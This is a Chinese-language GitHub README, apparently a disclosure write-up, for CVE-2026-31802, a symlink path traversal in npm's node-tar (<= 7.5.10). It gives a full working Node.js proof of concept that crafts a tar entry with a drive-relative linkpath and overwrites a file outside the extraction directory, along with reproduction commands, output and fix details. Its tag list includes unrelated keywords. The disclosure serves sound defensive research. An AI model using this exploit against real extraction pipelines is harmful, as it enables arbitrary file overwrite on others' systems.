Jvr2022/CVE-2026-31802
GitHub: Jvr2022/CVE-2026-31802
针对 CVE-2026-31802 的概念验证项目,演示 npm tar 包中符号链接路径遍历漏洞如何实现任意文件覆盖。
Stars: 0 | Forks: 0
# CVE-2026-31802: tar 符号链接路径遍历 / 任意文件覆盖
**研究:** [Joshua van Rijswijk](https://github.com/Jvr2022)
## 描述
本仓库包含了我针对 **CVE-2026-31802** 的概念验证和详细说明,这是 npm `tar` 包(`node-tar`)中影响 `<= 7.5.10` 版本的一个高危漏洞。
我发现,通过使用**驱动器相对**(drive-relative)的符号链接目标(例如 `C:../../../target.txt`),`tar` 可以被诱骗创建指向预期解压目录之外的符号链接。实际上,这使得在解压过程中逃逸 `cwd`(当前工作目录)成为可能,并将压缩包解压转化为一种**任意文件覆盖原语**。
该漏洞可以通过正常的解压行为以及攻击者控制的 tar 压缩包触发。
## 背景
在研究 `tar` 如何处理符号链接解压时,我注意到某些 `linkpath` 值在清理和验证过程中的处理方式不一致。特别是像这样的驱动器相对路径:
```
C:../../../target.txt
```
在被使用前会被重写,但并未以最终存储和应用的形式进行验证。
这种不匹配正是漏洞可被利用的原因。
## 根本原因
该漏洞源于 `tar` 在解压过程中处理精心构造的符号链接 `linkpath` 值的方式。
从宏观层面看,解压逻辑会从路径中剥离驱动器前缀,例如将:
```
C:../../../target.txt
```
重写为:
```
../../../target.txt
```
然而,遍历安全检查是针对**原始的、未剥离前缀的值**进行的,而随后的符号链接创建则使用了重写后的值。
这意味着一个恶意的压缩包可以使用一种形式的路径通过验证,但在写入磁盘时,仍然会产生一个遍历到解压目录之外的符号链接。
## 利用流程
一个恶意压缩包可以包含如下符号链接条目:
```
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
```
当使用常规方式解压时,例如:
```
tar.x({ cwd, file })
```
会发生以下情况:
1. `linkpath` 中的驱动器前缀被剥离。
2. 逃逸检查仍然评估原始值。
3. 该条目被接受。
4. 解压出的符号链接使用重写后的遍历路径创建。
5. 随后通过该符号链接进行的写入操作会触及 `cwd` 之外的文件。
换句话说,解压逻辑验证了一个值,却使用了另一个值。这种差距造就了路径遍历原语。
## 概念验证
我编写了以下 PoC 来演示:解压出的符号链接可以被指向往解压根目录之外,并随后被用于覆盖工作目录之外的文件。
该 PoC:
* 创建 `../target.txt`
* 构建一个包含位于 `a/b/l` 的符号链接条目的恶意 tar 压缩包
* 将 `linkpath` 设置为 `C:../../../target.txt`
* 将压缩包解压到当前目录
* 通过 `a/b/l` 进行写入
* 确认外部文件已被覆盖
PoC 脚本:
```
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```
## 复现
### 安装受影响版本
```
npm install tar@7.5.10
```
### 运行 PoC
```
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```
### 观察到的输出
```
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
```
`PWNED` 确认解压目录之外的文件已被覆盖。
`readlink` 输出和文件列表显示,解压出的符号链接指向了预期的解压根目录之外。
## 影响
此问题赋予攻击者**在预期解压目录之外进行任意文件覆盖原语**的能力,且具备执行解压操作的进程的权限。
现实的场景包括:
* 将不受信任的 tarball 解压到工作目录的 CLI 工具
* 使用第三方压缩包的构建和更新管道
* 导入用户提供 tar 文件的服务
* 自动解压捆绑包或构件的开发者工具
在这些环境中,精心构造的压缩包可能导致文件写入落在应用程序预期控制的目录之外。
## 受影响版本
* 受影响:`tar <= 7.5.10`
* 已修复:`tar 7.5.11`
## 修复
此问题已在 **`7.5.11`** 版本中修复。
用户应立即升级:
```
npm install tar@^7.5.11
```
## 参考资料
* GitHub Advisory: GHSA-9ppj-qmqm-q256
* CVE: CVE-2026-31802
标签:CVE-2026-31802, DNS 解析, GNU通用公共许可证, MITM代理, Node.js, node-tar, npm tar, PoC, 任意文件覆盖, 开放策略代理, 文件提取, 暗色界面, 暴力破解, 漏洞分析, 目录穿越, 符号链接穿越, 自定义脚本, 路径探测, 路径遍历, 驱动器相对路径